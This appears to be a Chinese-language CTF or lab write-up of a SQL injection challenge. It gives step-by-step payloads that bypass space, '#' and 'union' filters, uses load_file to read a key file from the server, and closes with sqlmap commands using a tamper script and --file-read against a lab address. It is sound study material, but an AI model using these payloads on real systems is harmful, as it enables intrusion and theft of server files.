1、?id=1'

2、?id=1'and'1'='1

1、使用 order by 判断语句模板列数

发现语句在执行中过滤了空格还过滤了“#”

执行失败：

?id=1'and'1'='1'order by 3#

?id=1'and'1'='1'order+by+3#

执行成功：

?id=1')and'1'='1'order/**/by/**/3%23

解释：

?id=1')and'1'='1'order/**/by/**/3%23

• ')用来闭合前面的语句，order/**/by/**/3%23（order by 3）用来查询模板列数

• /**/（用注释的方式代替空格），%23（使用url编码代替#）

2、判断出语句模板有4个字段

回显正常：

?id=1')and'1'='1'order/**/by/**/4%23  #执行 order by 4 的时候回显正常

回显不正常：

?id=1')and'1'='1'order/**/by/**/5%23  #执行 order by 5 的时候回显不正常

回显不正常：

?id=1')and'1'='2'union/**/select/**/1,2,3,4%23

思路：使用 and 1=2 报错找回显点

回显正常：

?id=1')and'1'='2'uunionnion/**/select/**/1,2,3,4%23

思路：由于过滤了union，所以这里使用双写的方式经行过滤绕过，并且判断出回显点有3个（语句模板中的2，3，4位置均为回显点）

执行成功：

?id=1')and'1'='2'uunionnion/**/select/**/1,database(),load_file('/tmp/360/key'),user()%23

解释：

—— 1')and'1'='2'union/**/select/**/1,database(),load_file('/tmp/360/key'),user()#')

• database() #当前数据库名

• user() #当前数据库用户名

• load_file('/tmp/360/key') #读取服务器文件

1、由于前面判断出了此题注入点存在过滤空格的情况，所以在使用sqlmap的时候需要指定脚本（用注释/**/替换空格字符' '：--tamper "space2comment.py"）运行

命令：

• python sqlmap.py -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" #我用的是sqlmap.py脚本所以使用python执行，用kali就直接用第二条命令就行
• sqlmap -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py"

命令：

• python sqlmap.py -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" --file-read "/tmp/360/key"  #我用的是sqlmap.py脚本所以使用python执行，用kali就直接用第二条命令就行
• sqlmap -u "http://192.168.154.253:81/vulnerabilities/fu1.php?id=1" --tamper "space2comment.py" --file-read "/tmp/360/key"